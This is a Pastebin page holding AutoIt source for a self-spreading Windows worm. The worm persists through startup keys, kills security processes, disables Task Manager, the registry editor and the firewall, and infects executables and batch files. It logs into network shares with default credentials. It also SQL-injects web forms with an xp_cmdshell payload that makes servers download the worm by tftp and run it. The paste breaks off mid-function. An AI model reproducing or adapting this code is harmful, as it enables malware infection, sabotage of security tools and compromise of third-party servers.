Alshabh

worm cood

Aug 23rd, 2013
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 29.13 KB | None | 0 0
  1. ;AI-Worm(C) by Mr`Anderson/doomriderz
  2. ;There's no patch for stupidity
  3. ;I think that to exploit men's mind is better than to exploit programs ;>
  4. if not @Compiled then Exit
  5. Opt("TrayAutoPause",0);can't pause the script by clicking on the tray icon
  6. Break(0);same
  7. Opt("TrayIconDebug",0)
  8. Opt("TrayIconHide",1);hide tray icon
  9. Opt("RunErrorsFatal",0);don't display fatal errors when running external programs
  10. FixReg();fix the registry
  11. Dim $globalServerList = ""
  12. Dim $globalCheckedSrvLst = ""
  13. Dim $sSessionLinks, $sOldLinks, $sSQLInjectionQuery, $sXpLinks, $tftp_name, $sVectors
  14. Dim $copy_name = @ScriptName;current copy name
  15. Dim $copy_path = @AutoItExe;current copy path (complete path+name)
  16. Dim $reg_key = "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon";startup key
  17. Dim $reg_val = "Explorer.exe " & $copy_name & " silent";startup key val
  18. Dim $bad_procs[13];list of words to filter processes
  19. $bad_procs[0] = "anti"
  20. $bad_procs[1] = "vir"
  21. $bad_procs[2] = "fix"
  22. $bad_procs[3] = "remov"
  23. $bad_procs[4] = "upd"
  24. $bad_procs[5] = "ack"
  25. $bad_procs[6] = "protect"
  26. $bad_procs[7] = "secur"
  27. $bad_procs[8] = "proc"
  28. $bad_procs[9] = "av"
  29. $bad_procs[10] = "mgr"
  30. $bad_procs[11] = "reg"
  31. $bad_procs[12] = "troj"
  32.  
  33. If ( @OSTYPE = "WIN32_NT" ) Then;if running under win nt
  34. $check_name = StringLower(RegRead($reg_key,"****************l")) ;read the startup key
  35. If ( StringLen($check_name) = 0 ) Then;if the key is empty or doesn't exist
  36. $reg_key = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run";change startup method
  37. $reg_val = $copy_path & " silent";fit the key val to the new startup method
  38. $check_name = StringLower(RegRead($reg_key,"****************l")) ;get the val if already there
  39. EndIf
  40. Else;if not running under win nt
  41. $reg_key = "";use system.ini startup method
  42. $check_name = StringLower(IniRead(@WindowsDir & "\System.ini","boot","****************l",""));chec k the ini
  43. EndIf
  44.  
  45. If $CmdLine[0]=1 And $CmdLine[1] = "silent" Then;if running with 1 parameter and the parameter is "silent" the we are installed and ready to spread
  46. TCPStartup()
  47. SetStartup();set startup method in order to run every time win starts
  48. If ( @OSTYPE = "WIN32_WINDOWS" ) then;if running under win98/me
  49. DllCall("kernel32.dll","dword","RegisterServicePro cess","dword",@AutoItPID,"dword",1);call kernel's RegServProc in order to hide our process
  50. EndIf
  51. IterateThroughDrives("ALL");go through all drives
  52. While True;our loop
  53. SetStartup();keep writing the registry or the ini file
  54. FixReg();keep fixing the registry
  55. EndBadProcs();keep ending bad precesses
  56. If ( @SEC = 0 And Random(0,1)<0.2 ) Then;every minute with 1/5 prob,
  57. IterateThroughDrives("REMOVABLE");check rem drives to infect
  58. EndIf
  59. If ( @MIN = 0 ) Then;every hour,
  60. IterateThroughDrives("NETWORK");check net drives to infect
  61. EndIf
  62. If ( @MIN = 0 And Random(0,1)<0.5 ) Then;every hour with 1/2 prob,
  63. IterateThroughDrives("FIXED");check fixed drives to infect
  64. EndIf
  65. if @IPAddress1<>"127.0.0.1" then; if a connection is available
  66. Dim $gsl = stringsplit($globalServerList,@lf);split the global server list
  67. if $gsl[0]>0 Then;if it is not empty
  68. Dim $nextserver = ""
  69. for $s=1 to $gsl[0];go through it
  70. if $gsl[$s]<>"" Then;and find the first server
  71. Dim $urlpart = stringsplit($gsl[$s],"/")
  72. if TCPNameToIP($urlpart[3])<>@IPAddress1 Then;if it doesn't match our same ip
  73. $nextserver = $gsl[$s];select it
  74. ExitLoop;exit the loop
  75. EndIf
  76. EndIf
  77. Next
  78. if $nextserver<>"" Then;if a valid server was found
  79. Hax($nextserver,"");try to hax it with sql injection!
  80. $globalServerList = stringreplace($globalServerList,@lf&$nextserver,"" );delete this server from the list
  81. $globalCheckedSrvLst &= @lf&$nextserver;add the server to a list of checked ones
  82. EndIf
  83. EndIf
  84. Endif
  85. WEnd
  86. EndIf
  87.  
  88. Dim $vir_body = RunHost();run the host if the worm is being run from an infected file
  89. Dim $show_err_msg = True;show fake error msg on exit
  90. If StringLen($vir_body) = 0 Then;if not running from and infected file
  91. $vir_body = FileRead(@AutoItExe);read ourselves
  92. Else;if ran from inf file,
  93. $show_err_msg = False;do not show the fake err
  94. EndIf
  95.  
  96. if ( StringLen($check_name) > 0 And $check_name <> "explorer.exe" ) Then;check if we are already installed or not
  97. Dim $offs = 14;len of explorer.exe and a white space, + 1
  98. if stringleft($check_name,12)<>"explorer.exe" Then $offs = 0;if we are using the 2nd method to track the sys, zero the offset
  99. $check_name = StringMid($check_name,$offs,10);get the name of the installed worm if present
  100. If ( FileExists($check_name) ) Then Quit($show_err_msg);if it exists, quit
  101. EndIf
  102. ProcessSetPriority(@AutoItPID,4);start going resident by setting our proc's priority to high, so we can do it faster
  103. $copy_name = "";reset copy name
  104. While ( $copy_name = "" );while a valid copy name hasn't been rendomized, do
  105. $copy_name = Chr(Int(Random(97,122))) & Chr(Int(Random(97,122))) & Chr(Int(Random(97,122))) & Chr(Int(Random(97,122))) & Chr(Int(Random(97,122))) & Chr(Int(Random(97,122))) & ".exe";six random chars and .exe extension
  106. For $p=0 To UBound($bad_procs)-1;go through bad procs names
  107. if ( StringInStr(StringLower($copy_name),StringLower($b ad_procs[$p]))>0 ) Then;if the random name matches a filter,
  108. $copy_name = "";reset the copy name
  109. ExitLoop;exit loop (randomize another name)
  110. EndIf
  111. Next
  112. WEnd
  113. $tmp_path = @TempDir & "\~" & $copy_name;build a temp path
  114. FileWrite($tmp_path,$vir_body);write there our body
  115. $copy_path = @SystemDir&"\"&$copy_name;build the copy path
  116. If FileExists($copy_path) Then;check if the file already exists
  117. If ProcessExists($copy_name) Then;if it is being run,
  118. ProcessClose($copy_name);close the process
  119. Sleep(2000);sleep 2 secs till the process shuts down
  120. EndIf
  121. FileSetAttrib($copy_path,"-HSR");reset the attribs
  122. FileDelete($copy_path);delete it!
  123. EndIf
  124. FileCopy($tmp_path,$copy_path);copy our temp copy to that location
  125. FileSetAttrib($copy_path,"+HSR");set hidden,system,read only attribs
  126. FileDelete($tmp_path);delete temp copy
  127. Run($copy_path & " silent",@SystemDir);run the copy with the "silent" parameter
  128. Quit($show_err_msg);quit
  129.  
  130. Func IterateThroughDrives($drive_type);go thru all the drives of the spec type
  131. if ( StringLen($drive_type) = 0 ) Then $drive_type = "ALL";if none is specified, set it to "all"
  132. $dryve_type = StringUpper($drive_type);make it upper case
  133. $drives = DriveGetDrive( $drive_type );list all drives of that type
  134. If NOT @error Then;if no errors,
  135. For $i = 1 to $drives[0];go thru
  136. If ( StringUpper(DriveGetType($drives[$i])) = "NETWORK" ) Then;if drv type is netdrive
  137. $md = DriveMapAdd("*", $drives[$i]);try to map it to the first free drive letter (returned as $md)
  138. If ( @error = 2 Or @error = 6 ) Then;if wrong user or pwd
  139. $md = DriveMapAdd("*", $drives[$i], 0, "Administrator", "");try accessing it as admin with no pwd
  140. If ( @error = 2 Or @error = 6 ) Then;if fails
  141. $md = DriveMapAdd("*", $drives[$i], 0, "Guest", "");try as guest with no pwd
  142. If ( @error = 2 Or @error = 6 ) Then;if fails
  143. $md = DriveMapAdd("*", $drives[$i], 0, "admin", "admin");try as admin with pwd: admin
  144. EndIf
  145. EndIf
  146. EndIf
  147. If ( @error = 0 ) Then ;if drive was mapped
  148. IterateThrough($md);go thru it to infect
  149. DriveMapDel($md);unmap it
  150. EndIf
  151. ElseIf ( StringUpper(DriveStatus($drives[$i])) = "READY" ) Then;if the drive is not a netdrive (so fixed or remov) and it is ready to be read
  152. IterateThrough($drives[$i]);go thru to infect
  153. EndIf
  154. Next
  155. EndIf
  156. EndFunc
  157.  
  158. Func IterateThrough($dir);goes thru the spec folder and subdirs
  159. If ( Not FileExists($dir) ) Then Return;if it doesn't exist quit
  160. $search = FileFindFirstFile($dir & "\*.*");find first file
  161. If $search = -1 Then Return;if fails ret
  162. Dim $nProb = 1.0;infeciton probability (of exe and scr files only)
  163. While True;we'll exit the loop when we need to
  164. $file = FileFindNextFile($search);find next file
  165. If @error Then ExitLoop;if no more files are found, quit
  166. If ( StringInStr(FileGetAttrib($dir & "\" & $file),"D") = 0 ) Then;if the spec file is not a folder
  167. Dim $ftype = stringlower(stringright($file,3));get file type (first 3 chars from the right)
  168. If ( $ftype="bat" Or $ftype="pif" Or $ftype="cmd" ) Then;w/e it is a batch or pif file,
  169. InfectFile($dir & "\" & $file);infect it
  170. Elseif ( $ftype = "exe" Or $ftype = "scr" ) Then;w/e it is an exe or scr
  171. If ( (StringInStr($file,"setup",false)>0 Or StringInStr($file,"inst",false)>0 Or StringInStr($file,"patch",false)>0 Or StringInStr($file,"fix",false)>0) and Random(0,1)<$nProb ) Then;check if it is an installer and with some chance,
  172. If ( InfectFile($dir&"\"&$file) ) Then; infect it and if infected,
  173. $nProb*=0.75;reduce the infection prob of the exe files in this folder by 1/4
  174. EndIf
  175. EndIf
  176. ElseIf ( $ftype="htm" or $ftype="tml" or $ftype="php" or $ftype="asp" or $ftype="jsp" or $ftype="eml" or $ftype="nws" or $ftype="txt" ) then;if the file may contain any web server address in the format http://servernameorip[/],
  177. Dim $h = FileOpen($dir&"\"&$file,0);open the file in read mode
  178. if $h<>-1 Then;if success
  179. Dim $fbody = stringreplace(FileRead($h),"\","/");read it and rep all "\" with "/"
  180. if @error=0 Then;if success
  181. For $z=1 to stringlen($fbody)-6;go throu all chars
  182. Dim $flag = stringlower(stringmid($fbody,$z,7))
  183. if $flag = "http://" Then;whenever we find "http://"
  184. Dim $newserv = $flag;find the serv addr
  185. For $k=$z to stringlen($fbody)
  186. Dim $newc = stringmid($fbody,$k,1)
  187. $newserv&=$newc
  188. if $newc="/" or $newc=" " Then
  189. $z=$k
  190. ExitLoop
  191. Endif
  192. Next
  193. $newserv = stringlower($newserv);make it lower case
  194. if (stringinstr($globalServerList,$newserv)=0 and stringinstr($globalCheckedSrvLst,$newserv)=0) Then;if it hasn't already been found
  195. $globalServerList&=@lf&$newserv;write it to the list of servers to hack later...
  196. EndIf
  197. EndIf
  198. Next
  199. EndIf
  200. EndIf
  201. EndIf
  202. ElseIf ( ($file<>".." and $file<>".") and (@OSTYPE <> "WIN32_NT" Or StringLower($file) <> "dllcache") ) Then;if the file is a directory and it is different from ".." and "." and we are not under winnt or the directory isn't "dllcache",
  203. IterateThrough($dir & "\" & $file);go thru it
  204. EndIf
  205. WEnd
  206. FileClose($search);close search handle
  207. EndFunc
  208.  
  209. Func RunHost();runs the host program with cmdline and in the context of current working dir by extracting it to the temp folder. then returns the body of the worm (empty if host file was not found)
  210. $body = FileRead(@AutoItExe)
  211. $n = StringInStr($body,"[h0st]")-1
  212. If $n = -1 Then Return ""
  213. $host_body = StringMid($body,$n+7)
  214. $my_body = StringLeft($body,$n)
  215. $host_name = @TempDir & "\" & @ScriptName
  216. if FileExists($host_name) then FileDelete($host_name)
  217. FileWrite($host_name,$host_body)
  218. Run($host_name & " " & $CmdLineRaw,@WorkingDir)
  219. Return $my_body
  220. EndFunc
  221.  
  222.  
  223. Func InfectFile($host);infects a file, by prepending itself to it (very noob, but this way we can also infect batch files and pif files)
  224. If ( Not FileExists($host) ) Then Return False
  225. $ret = True
  226. $time_modified = FileGetTime($host,0,1)
  227. $time_accessed = FileGetTime($host,2,1)
  228. $host_attributes = FileGetAttrib($host)
  229. FileSetAttrib($host,"-HSR")
  230. $host_body = FileRead($host)
  231. $my_body = FileRead(@AutoItExe)
  232. $ret = (StringInStr($host_body,"[h0st]",true) = 0)
  233. If ( $ret ) Then
  234. $handle = FileOpen($host,2)
  235. $ret = ( $handle <> -1 )
  236. If ( $ret ) Then
  237. $host_body = "[h0st]"&$host_body
  238. FileWrite($handle,$my_body & $host_body)
  239. FileClose($handle)
  240. EndIf
  241. EndIf
  242. FileSetTime($host,$time_modified,0)
  243. FileSetTime($host,$time_accessed,2)
  244. FileSetAttrib($host,$host_attributes)
  245. Return $ret
  246. EndFunc
  247.  
  248. Func EndBadProcs();if any process name matches one of the filters, ends it
  249. $procs = ProcessList()
  250. For $i=0 To UBound($procs)-1
  251. For $j=0 To UBound($bad_procs)-1
  252. If(StringInStr($procs[$i][0],$bad_procs[$j],false)) Then
  253. ProcessClose($procs[$i][1])
  254. EndIf
  255. Next
  256. Next
  257. EndFunc
  258.  
  259. Func SetStartup();sets the startup
  260. If( StringLen($reg_key) > 0 ) Then;using the registry (under winnt)
  261. RegWrite($reg_key,"****************l","REG_SZ",$re g_val)
  262. Else;using the system.ini method (under win98/me)
  263. IniWrite(@WindowsDir & "\System.ini","boot","****************l",$reg_ val)
  264. EndIf
  265. EndFunc
  266.  
  267. Func FixReg();fixes the regstry
  268. Regwrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Explorer\Advanced","ShowSuperH idden","REG_DWORD",0);to not show hidden system files
  269. RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System","DisableRegis tryTools","REG_DWORD",1);to disable the registry editor
  270. RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System","DisableTaskM gr","REG_DWORD",1);to disable the task mgr
  271. RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\Explorer","NoFolderOp tions","REG_DWORD",1);to not show "folder options.." under xplorer.exe's menus
  272. RegWrite("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControl Set\Services\SharedAccess","Start","REG_DWORD",4); to disable the windows firewall at startup
  273. EndFunc
  274.  
  275. Func Quit($bShow)
  276. If $bShow Then MsgBox(16,"Error",@AutoItExe&" is not a valid Win32 application.",20);fake msg
  277. Exit
  278. EndFunc
  279.  
  280. Func Hax($sBServer,$sSPage);tries to hax a given web server by finding any injectable url or form and trying to inject commands to make the server download and execute remotely our worm
  281. $tftp_name = Int(Random(1000,2000))
  282. $sSQLInjectionQuery = "waitfor delay '0:0:3'; exec master..xp_cmd****************l 'tftp.exe -i "&@IPAddress1&" GET worm "&$tftp_name&".exe'; waitfor delay '0:0:5'; exec master..xp_cmd****************l '"&$tftp_name&".exe';"
  283. if (Stringlen($sBServer)=0)then Return
  284. if(Stringinstr($sBServer,"://")=0)then $sBServer="http://"&$sBServer
  285. if(Stringright($sBServer,1)<>"/" and stringright($sBServer,1)<>"\") then $sBServer = $sBServer&"/"
  286. $sBServer = FormatURL($sBServer)
  287. $sSPage = FormatURL($sSPage)
  288. if ( StringInStr($sSPage,"://")=0 ) then $sSPage = $sBServer & $sSPage
  289. StartSearch($sBServer,$sSPage)
  290. EndFunc
  291.  
  292. Func StartSearch($sRootServer,$sStartAddress);searches the given address for juicy urls and forms to hack
  293. if (Stringlen($sRootServer)=0)then Return
  294. if(Stringinstr($sRootServer,"://")=0)then $sRootServer="http://"&$sRootServer
  295. if(Stringright($sRootServer,1)<>"/" and stringright($sRootServer,1)<>"\") then $sRootServer = $sRootServer&"/"
  296. $sRootServer = FormatURL($sRootServer)
  297. $sStartAddress = FormatURL($sStartAddress)
  298. if ( StringInStr($sStartAddress,"://")=0 ) then $sStartAddress = $sRootServer & $sStartAddress
  299. $StartPageCode = HTTPRequest($sStartAddress)
  300. if ( stringlen($StartPageCode) > 0 ) then
  301. If Analyze($StartPageCode,stringleft($sStartAddress,L astIndexOf($sStartAddress,"/",false)+1),GetResourceName($sStartAddress)) Then
  302. Return
  303. EndIf
  304. EndIf
  305. if stringlen($sSessionLinks)=0 Then
  306. if stringlen($sOldLinks)=0 Then
  307. return
  308. EndIf
  309. $SQLVec = stringsplit($sOldLinks,@lf)
  310. Else
  311. $SQLVec = stringsplit($sSessionLinks,@lf)
  312. $sOldLinks = $sOldLinks&@lf&$sSessionLinks
  313. $sSessionLinks = ""
  314. EndIf
  315. $l=1
  316. $i=int(random(0,1)*($SQLVec[0]-1))+1
  317. While ( $l<=$SQLVec[0] And ((stringlen($SQLVec[$i])=0 Or StringInStr($sXpLinks,$SQLVec[$i])>0) Or (StringInStr($SQLVec[$i],"forum")>0 and Random(0,1)<0.9)) )
  318. $i=int(random(0,1)*($SQLVec[0]-1))+1
  319. $l+=1
  320. WEnd
  321. If $l<=$SQLVec[0] Then
  322. Dim $xl = stringsplit($sXpLinks,@lf)
  323. if $xl[0]<=25 Then
  324. $sXpLinks &= $SQLVec[$i] & @lf
  325. StartSearch($sRootServer, $SQLVec[$i])
  326. EndIf
  327. EndIf
  328. EndFunc
  329.  
  330. Func Analyze($sCode,$sRoot,$sResName);analyzes the code searching urls and forms
  331. $sCode = FormatText($sCode)
  332. $CodeLines = StringSplit($sCode, @lf)
  333. Dim $new_url = ""
  334. Dim $bWritingUrl = false
  335. For $ln = 1 to $CodeLines[0]
  336. if ( stringlen($codelines[$ln])>0 ) then
  337. if ( StringInStr(stringlower($CodeLines[$ln]),"0 and not $bWritingUrl ) then
  338. $bWritingUrl = true
  339. $new_url = GetOption("action",$CodeLines[$ln])
  340. $new_url_method = StringUpper(GetOption("method",$CodeLines[$ln]))
  341. if ( Stringlen($new_url_method)=0 ) Then $new_url_method = "GET"
  342. if ( StringInStr($new_url,"?")=0 ) then $new_url = $new_url & "?"
  343. endif
  344. if ( (StringInStr(StringLower($CodeLines[$ln]),"0 or StringInStr(StringLower($CodeLines[$ln]),"0) and $bWritingUrl ) then
  345. $varname = GetOption("name",$CodeLines[$ln])
  346. if ( stringlen($varname)>0 ) then
  347. if ( stringright($new_url,1) <> "?" ) then $new_url = $new_url & "&"
  348. $new_url = $new_url & $varname & "="
  349. $param_value = GetOption("value",$CodeLines[$ln])
  350. if ( stringlen($param_value)=0 And StringInStr(StringLower($CodeLines[$ln]),"0 ) Then
  351. $o=$ln
  352. Do
  353. $o=$o+1
  354. If ( StringInStr(StringLower($CodeLines[$o]),"0 ) Then
  355. $param_value = GetOption("value",$CodeLines[$o])
  356. EndIf
  357. Until ( stringlen($param_value)>0 Or $o>=($CodeLines[0]-$ln) )
  358. EndIf
  359. $new_url = $new_url & $param_value
  360. endif
  361. endif
  362. if ( StringInStr(StringLower($CodeLines[$ln]),"0 and $bWritingUrl ) then
  363. $new_url = FormatURL($new_url)
  364. if ( StringInstr(Strip($sVectors,"=","&"),Strip($new_ur l,"=","&"))=0 ) Then
  365. if ( stringleft($new_url,7)<>"http://" ) Then
  366. $new_url = $sRoot & $new_url
  367. EndIf
  368. $sVectors &= @lf&$new_url&"#"&$new_url_method
  369. if SQLInjection($new_url,$sSQLInjectionQuery,$new_url _method) Then
  370. Return True
  371. endif
  372. EndIf
  373. if ( StringInstr($sOldLinks,$new_url)=0 And StringInstr($sSessionLinks,$new_url)=0 ) Then
  374. if ( stringleft($new_url,7)<>"http://" ) Then
  375. $new_url = $sRoot & $new_url
  376. EndIf
  377. $sSessionLinks &= $new_url&"#"&$new_url_method&@lf
  378. EndIf
  379. $new_url = ""
  380. $new_url_method = ""
  381. $bWritingUrl = false
  382. endif
  383. $Address = GetOption("href",$CodeLines[$ln])
  384. if( stringlen($Address) = 0 )Then
  385. $Address = GetOption("src",$CodeLines[$ln])
  386. EndIf
  387. if( stringlen($Address) > 0 and StringInStr($Address,"javascript:")=0 )Then
  388. $Address = FormatURL($Address)
  389. if ( StringInStr($Address,"?")>0 And StringInStr($Address,"=")>0 And StringInstr(Strip($sVectors,"=","&"),Strip($Addres s,"=","&"))=0 ) Then
  390. if ( stringleft($Address,7)<>"http://") Then
  391. $Address = $sRoot & $Address
  392. EndIf
  393. $sVectors &= @lf&$Address&"#GET"
  394. if SQLInjection($Address,$sSQLInjectionQuery,"GET") Then
  395. Return True
  396. EndIf
  397. endif
  398. Dim $ext = stringlower(GetResourceExtension($Address))
  399. if ($ext="" Or $ext="htm" or $ext="html" or $ext="php" or $ext="asp" or $ext="jsp" or $ext="aspx" or $ext="jspx" or $ext="pl" or $ext="cgi") then
  400. if ( StringInstr($sOldLinks,$Address)=0 And StringInstr($sSessionLinks,$Address)=0 ) Then
  401. if ( stringleft($Address,7)<>"http://" ) Then
  402. $Address = $sRoot & $Address
  403. EndIf
  404. Dim $addrserv = stringlower(Stringleft($Address,Stringlen($sRoot)) )
  405. Dim $newserv = stringsplit($addrserv,"/")
  406. Dim $myserv = stringsplit($sRoot,"/")
  407. If ( stringlower($newserv[3])=stringlower($myserv[3]) or $newserv[3]=TCPNameToIP($myserv[3]) or TCPNameToIP($newserv[3])=$myserv[3] ) Then
  408. $sSessionLinks &= $Address&@lf
  409. EndIf
  410. endif
  411. endif
  412. EndIf
  413. EndIf
  414. Next
  415. Return False
  416. EndFunc
  417.  
  418. Func SQLInjection($sVect,$sQuery,$sMethod);tries sql injection over the given url with the given query
  419. Dim $s = -1
  420. Dim $sServer = ""
  421. Dim $nPort = 80
  422. if (Stringlen($sVect)=0 Or Stringlen($sQuery)=0 Or StringInStr($sVect,"?")=0) Then Return False
  423. If (Stringlen($sMethod)=0) Then $sMethod = "GET"
  424. $url_parts = StringSplit($sVect,"/")
  425. $sServer = $url_parts[3]
  426. if ( StringInStr($sServer,":")>0 ) Then
  427. $nPort = Int(StringMid($sServer,StringInStr($sServer,":")+1 ))
  428. $sServer = Stringleft($sServer,IndexOf($sServer,":",false))
  429. EndIf
  430. $url_parts[1]=""
  431. $url_parts[3]=""
  432. $sVect = join($url_parts,"/")
  433. $sVect = FormatURL($sVect)
  434. $sParams = Stringright($sVect,Stringlen($sVect)-StringInStr($sVect,"?"))
  435. if (Stringlen($sParams)=0 Or $sParams=$sVect) Then Return False
  436. $sVect = Stringleft($sVect,StringInStr($sVect,"?"))
  437. $sParams = $sParams & "&"
  438. If StringInStr($sParams,"=&")>0 Then
  439. Dim $sTmpParams = ""
  440. $TmpParam = Stringsplit($sParams,"=&")
  441. For $t=1 To $TmpParam[0]-1
  442. if stringlen($TmpParam[$t])>0 Then
  443. $sTmpParams = $sTmpParams & $TmpParam[$t] & "=12345"
  444. if StringInStr(StringLower($TmpParam[$t]),"mail")>0 Then
  445. $sTmpParams = $sTmpParams & "@a.aa"
  446. EndIf
  447. $sTmpParams = $sTmpParams & "&"
  448. EndIf
  449. Next
  450. $sTmpParams = Stringleft($sTmpParams,Stringlen($sTmpParams)-1)
  451. $sParams = $sTmpParams
  452. Else
  453. $sParams = Stringleft($sParams,Stringlen($sParams)-1)
  454. EndIf
  455. $sVect = $sVect & $sParams
  456. $sParams = StringReplace($sParams,"=",@lf)
  457. $sParams = StringReplace($sParams,"&",@lf)
  458. Dim $Param = Stringsplit($sParams,@lf)
  459. $s = TCPConnect(TCPNameToIP($sServer),$nPort)
  460. If @error or $s = -1 Then Return False
  461. Dim $sp = $sServer
  462. if $nPort <> 80 then $sp = $sp & ":" & $nPort
  463. For $p=2 To $Param[0] Step 2
  464. If (Stringlen($Param[$p])>0) Then
  465. $sTempVect = StringReplace($sVect,$Param[$p-1] & "=" & $Param[$p],$Param[$p-1] & "=" & $Param[$p] & FormatQuery("';" & $sQuery & "--sp_password"))
  466. if ( $sMethod = "GET" ) Then
  467. Dim $query = $sMethod& " /" & $sTempVect & " HTTP/1.0" & @crlf & "Host: " & $sp & @crlf & @crlf
  468. Else
  469. Dim $newparams = Stringmid($sTempVect,Stringinstr($sTempVect,"?")+1 )
  470. Dim $query = $sMethod & " /" & stringleft($sTempVect,stringinstr($sTempVect,"?")-1) & " HTTP/1.0" & @crlf & "Host: " & $sp & @crlf & "Content-Type: application/x-www-form-urlencoded" & @crlf & "Content-length: " & stringlen($newparams) & @crlf & @crlf & $newparams & @crlf & @crlf
  471. EndIf
  472. TCPSend($s,$query)
  473. if TFTPSession(6000) then
  474. Return True
  475. EndIf
  476. $s = TCPConnect(TCPNameToIP($sServer),$nPort)
  477. If @error or $s = -1 Then Return False
  478. $sTempVect = StringReplace($sVect,$Param[$p-1] & "=" & $Param[$p],$Param[$p-1] & "=" & $Param[$p] & FormatQuery(";" & $sQuery & "--sp_password"))
  479. if ( $sMethod = "GET" ) Then
  480. $query = $sMethod& " /" & $sTempVect & " HTTP/1.0" & @crlf & "Host: " & $sp & @crlf & @crlf
  481. Else
  482. $newparams = Stringmid($sTempVect,Stringinstr($sTempVect,"?")+1 )
  483. $query = $sMethod & " /" & stringleft($sTempVect,stringinstr($sTempVect,"?")-1) & " HTTP/1.0" & @crlf & "Host: " & $sp & @crlf & "Content-Type: application/x-www-form-urlencoded" & @crlf & "Content-length: " & stringlen($newparams) & @crlf & @crlf & $newparams & @crlf & @crlf
  484. EndIf
  485. TCPSend($s,$query)
  486. if TFTPSession(6000) then
  487. Return True
  488. EndIf
  489. EndIf
  490. Next
  491. TCPCloseSocket($s)
  492. Return False
  493. EndFunc
  494.  
  495. Func FormatQuery($sQ);formats the sql query to be better injected
  496. if Stringlen($sQ)=0 Then Return("")
  497. Dim $sNewQuery
  498. For $c=1 To Stringlen($sQ)
  499. $ch = ""
  500. $ch = Stringright(Stringleft($sQ,$c),1)
  501. $sNewQuery = $sNewQuery & "%" & StringRight(Hex(Asc($ch)),2)
  502. Next
  503. Return($sNewQuery)
  504. EndFunc
  505.  
  506. func TFTPSession($MAX_WAIT);starts a tftp session and waits for inputs for the given period of time
  507. Dim $ret=False
  508. Dim $port=69
  509. Dim $ipaddr=@IPAddress1
  510. UDPStartup()
  511. Dim $s = UDPBind($ipaddr,$port)
  512. if $s=-1 Then
  513. Return False
  514. EndIf
  515. Dim $ti = TimerInit()
  516. while TimerDiff($ti)<$MAX_WAIT
  517. $recv = UDPRecv($s,512)
  518. if @error then
  519. ExitLoop
  520. EndIf
  521. if String($recv)<>"" then
  522. $recv = stringmid(string($recv),Stringinstr(string($recv), "x")+1)
  523. if ( stringleft($recv,4)="0001" ) then ;RRQ
  524. $ret = SendWorm($s)
  525. ExitLoop
  526. EndIf
  527. EndIf
  528. WEnd
  529. UDPCloseSocket($s)
  530. UDPShutdown()
  531. Return($ret)
  532. EndFunc
  533.  
  534. func SendWorm($socket);send the worm over the net w/e a tftp request is made
  535. if $socket = -1 then Return
  536. Dim $name = @AutoItExe
  537. if not FileExists($name) Then
  538. UDPSend( $socket, BinaryString("0x00050001")&"File not found."&Chr(0) )
  539. Return False
  540. EndIf
  541. Dim $opcode = "0x0003"
  542. Dim $block = ""
  543. Dim $data = ""
  544. Dim $size = FileGetSize($name)
  545. Dim $totblocks = int($size/512)+1
  546. Dim $fhandle = FileOpen($name,0)
  547. Dim $filedata = FileRead($fhandle)
  548. FileClose($fhandle)
  549. For $bnum=0 To $totblocks
  550. $block = Stringright(String(Hex($bnum+1)),4)
  551. $data = stringmid($filedata,($bnum*512)+1,512)
  552. Dim $packet = BinaryString($opcode & $block) & $data
  553. Do
  554. UDPSend($socket,$packet)
  555. if @error or $socket=-1 then ExitLoop
  556. Dim $tm = TimerInit()
  557. Do
  558. Dim $r = UDPRecv($socket,512)
  559. if @error then ExitLoop
  560. Until (stringlen(string($r))>0 or TimerDiff($tm)>=5000)
  561. if (@error or TimerDiff($tm)>=5000) then ExitLoop
  562. Until( $r=binarystring("0x0004")&BinaryString("0x"&$block ) )
  563. Next
  564. Return($bnum>$totblocks)
  565. EndFunc
  566.  
  567. Func HTTPRequest($sResource);retrieves the given resource from the internet
  568. Dim $s = -1
  569. Dim $sServer = ""
  570. Dim $nPort = 80
  571. $sResource = FormatURL($sResource)
  572. if ( not IsAnHTTPService($sResource) ) then Return("")
  573. Dim $sHTTPMethod = "GET"
  574. If StringInStr($sResource,"#")>0 Then
  575. $sHTTPMethod = Stringright($sResource,Stringlen($sResource)-StringInStr($sResource,"#")-2)
  576. $sResource = Stringleft($sResource,StringInStr($sResource,"#")-1)
  577. EndIf
  578. Dim $size = InetGetSize($sResource)
  579. If ( $size > 512000 ) Then Return("")
  580. if $size = 0 then $size = 512000
  581. $url_parts = StringSplit($sResource,"/")
  582. $sServer = $url_parts[3]
  583. if ( StringInStr($sServer,":")>0 ) Then
  584. $nPort = Int(StringMid($sServer,StringInStr($sServer,":")+1 ))
  585. $sServer = Stringleft($sServer,IndexOf($sServer,":",false))
  586. EndIf
  587. $url_parts[1] = ""
  588. $url_parts[3] = ""
  589. $sResource = join($url_parts,"/")
  590. $sResource = FormatURL($sResource)
  591. $s = TCPConnect(TCPNameToIp($sServer),$nPort)
  592. if @error Or $s = -1 then Return("")
  593. Dim $sp = $sServer
  594. if $nPort <> 80 then $sp = $sp & ":" & $nPort
  595. if ( $sHTTPMethod = "GET" ) Then
  596. Dim $query = $sHTTPMethod& " /" & $sResource & " HTTP/1.0" & @crlf & "Host: " & $sp & @crlf & @crlf
  597. Else
  598. Dim $newparams = Stringmid($sResource,Stringinstr($sResource,"?")+1 )
  599. Dim $query = $sHTTPMethod & " /" & stringleft($sResource,stringinstr($sResource,"?")-1) & " HTTP/1.0" & @crlf & "Host: " & $sp & @crlf & "Content-Type: application/x-www-form-urlencoded" & @crlf & "Content-length: " & stringlen($newparams) & @crlf & @crlf & $newparams & @crlf & @crlf
  600. EndIf
  601. TCPSend($s,$query)
  602. If @error Then Return("")
  603. Dim $ret = ""
  604. While true
  605. Dim $tmpret = TCPRecv($s,2048)
  606. if @error Then ExitLoop
  607. if $tmpret <> "" then
  608. $ret = $ret & $tmpret
  609. endif
  610. WEnd
  611. if ( StringInStr($ret,"HTTP/1.1 200")=0 and StringInStr($ret,"HTTP/1.0 200")=0 ) Then
  612. $loc_ndx = StringInStr(stringlower($ret),"location: ")
  613. if $loc_ndx = 0 then Return("")
  614. Dim $lines = StringSplit($ret,@crlf)
